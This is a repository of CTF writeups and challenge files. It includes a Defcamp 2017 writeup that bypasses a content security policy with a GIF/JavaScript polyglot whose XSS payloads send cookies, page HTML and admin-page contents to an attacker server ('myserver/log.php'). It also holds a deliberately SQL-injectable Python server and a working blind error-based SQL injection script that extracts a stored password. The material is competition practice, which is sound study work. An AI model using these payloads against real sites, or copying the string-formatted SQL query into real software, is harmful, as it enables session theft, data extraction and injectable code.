├── Defcamp Quals 2017 └── DCTF LLC │ └── writeup.md ├── README.md └── SQLi-Challenge ├── challenge.py ├── readme.md └── solution.py /Defcamp Quals 2017/DCTF LLC/writeup.md: -------------------------------------------------------------------------------- 1 | ## Title: 2 | Defcamp Quals 2017 CTF DCTF LLC writeup 3 | 4 | ## Description: 5 | We are looking for your feedback about our new amazing company! :-) 6 | 7 | ## Writeup: 8 | I was the first to solve this challenge and we got bonus points for this. When we visit the website we see a form asking for name, email, message and file. 9 | The first thing I tried is to upload a php file to get a shell, but that didn't work. Looking at the response header we see: 10 | ``` 11 | content-security-policy:default-src 'none'; img-src 'self' *.imgur.com *.ibb.co; script-src 'self'; connect-src 'self'; style-src 'self' fonts.googleapis.com fonts.gstatic.com 'unsafe-inline'; font-src 'self' fonts.gstatic.com fonts.googleapis.com; 12 | ``` 13 | Noticing `script-src 'self'`, I immediately realized that this is XSS and we have to bypass CSP by uploading our JS through a valid image with size less than 500 bytes and the image seems to by validated with `getimagesize()`. 14 | 15 | The best way to get a valid image with an XSS payload is through GIF images so here is what I tried: 16 | ```javascript 17 | GIF89a/* 18 | ? , /* 19 | ;*/=1;document.location='https://myserver/log.php?x='+encodeURIComponent(document.cookie+document.getElementsByTagName('html')[0].innerHTML+document.cookie); 20 | ``` 21 | Now we include the image through a script tag in the message field: `` and here is what I got in the logs file: 22 | ``` 23 | IP: 45.76.95.55 - September 30, 2017, 12:41 pm 24 | REFERRER: https://llc.dctf-quals-17.def.camp//bot.php?id=258 25 | Array 26 | ( 27 | [x] => 28 | 29 | 30 | 31 | 32 | 33 | Dashboard 34 |

Message Sent. Here's the preview:

35 |
36 | Name: test@test 37 | Email: test@test 38 | Message: test
39 | ) 40 | ``` 41 | 42 | We didn't get the flag, so it's probably in the `admin.php` file, all we have to do is to get its contents through an ajax request (jquery already loaded). 43 | ```javascript 44 | GIF89a/* 45 | ? , /* 46 | ;*/=1;$.ajax('/admin.php').done(function(data){location='https://myserver/log.php?x='+encodeURIComponent(data);}); 47 | ``` 48 | and we got the flag: `DCTF{808f50ca3f3182a30e76bb9fcc0fdcb7f75f4ce597f7abe1793e3942acf3ec9e}` 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **Will be posting writeups for interesting CTF challenges I solved.** 2 | -------------------------------------------------------------------------------- /SQLi-Challenge/challenge.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from http.server import HTTPServer, BaseHTTPRequestHandler 3 | from socketserver import ThreadingMixIn 4 | import threading 5 | import time 6 | import mysql.connector 7 | import urllib.parse 8 | 9 | conn = mysql.connector.connect(user='ctf', password = '', host = 'localhost', port = '3306', database = 'ctf') 10 | cursor = conn.cursor() 11 | 12 | class Handler(BaseHTTPRequestHandler): 13 | def setup(self): 14 | self.timeout=10 # Timeout connections after 10 seconds 15 | BaseHTTPRequestHandler.setup(self) 16 | def do_GET(self): 17 | try: 18 | self.send_response(200) 19 | self.send_header("Content-Type", "Text/HTML") 20 | self.end_headers() 21 | 22 | if "user" in self.path: 23 | i_slash = self.path.index('/') 24 | val = self.path[(i_slash + 6):] 25 | sql_query(urllib.parse.unquote(val)) 26 | time.sleep(1000) # Never Respond 27 | else: 28 | self.wfile.write(b' Welcome to my SQLi challenge
This is a simple SQL Injection challenge based on a SQLi vulnerability that I\'ve found while doing bug bounty.
To access the challenge: Click Here
You have to extract the user\'s password from the database. DBMS is mysql
PS: The delayed server response is part of the challenge
DM me with the flag @Zombiehelp54') 29 | except: 30 | print("Exception") 31 | def log_message(self, format, *args): 32 | return 33 | 34 | def sql_query(val): 35 | val = val.replace(';', '') 36 | cursor.execute("select name from user where id = %s" % val) 37 | cursor.fetchall() 38 | 39 | class ThreadingSimpleServer(ThreadingMixIn, HTTPServer): 40 | pass 41 | 42 | def run(): 43 | server = ThreadingSimpleServer(('127.0.0.1', 8900), Handler) 44 | server.serve_forever() 45 | 46 | if __name__ == '__main__': 47 | run() 48 | -------------------------------------------------------------------------------- /SQLi-Challenge/readme.md: -------------------------------------------------------------------------------- 1 | SQLi Challenge source code. 2 | 3 | The idea is that there is a heavy query being executed in the backend which causes the MySQL server response to be delayed. 4 | And the server is configured to timeout connections after 10 seconds (50 seconds originally), so there is no way to distinguish 5 | between a subquery that returns true and another that returns false other than causing the mysql server to throw a runtime error. 6 | 7 | ## Solvers: 8 | 1. @the_st0rm (Ibrahim Mosaad) 9 | 2. @ret2got (Jazzy) 10 | 3. @terjanq (terjanq) 11 | 4. @junorouse (Juno Im) 12 | 5. @5unKn0wn (5unKn0wn) 13 | 6. @securityidiots (Faraz Khan) 14 | 7. @0x4148 (Ahmed Sultan) 15 | 8. @pentest_soka (soka) 16 | 9. @JosipFranjkovic (Josip Franjkovic) 17 | 10. @m_aty (Mohamed Abdel aty) 18 | 11. @lnxg33k (Ahmed Shawky) 19 | 12. @AmiriusTheThird (Amir Saad) 20 | 13. @Fady_Othman (Fady Othman) 21 | 22 | Thanks to everyone who participated. 23 | 24 | I will publish a detailed writeup regarding the original bug and other solutions soon on my blog: http://mahmoudsec.blogspot.com/ 25 | -------------------------------------------------------------------------------- /SQLi-Challenge/solution.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | # query=sys.argv[1] 5 | query = "select pass from user limit 1" 6 | res = '' 7 | url = "http://:8900/user/" 8 | charset="._-:@abcdefghijklmnopqrstuvwxyz" 9 | restart = True 10 | while restart: 11 | restart = False 12 | for char in charset: 13 | if char == "_": 14 | char = '\\\\_' 15 | print char 16 | q = "1 and (select(CASE WHEN (("+str(query)+") like '"+str(res)+str(char)+"%25') THEN (exp(10)) ELSE exp(1000) END))" 17 | try: 18 | r=requests.get(url+str(q), timeout=3) 19 | except requests.exceptions.ConnectionError as e: 20 | res+=char 21 | print "found", res 22 | restart = True 23 | break 24 | print "Result:", res 25 | 26 | # Flag: timeanderrorbasedsqliflag 27 | --------------------------------------------------------------------------------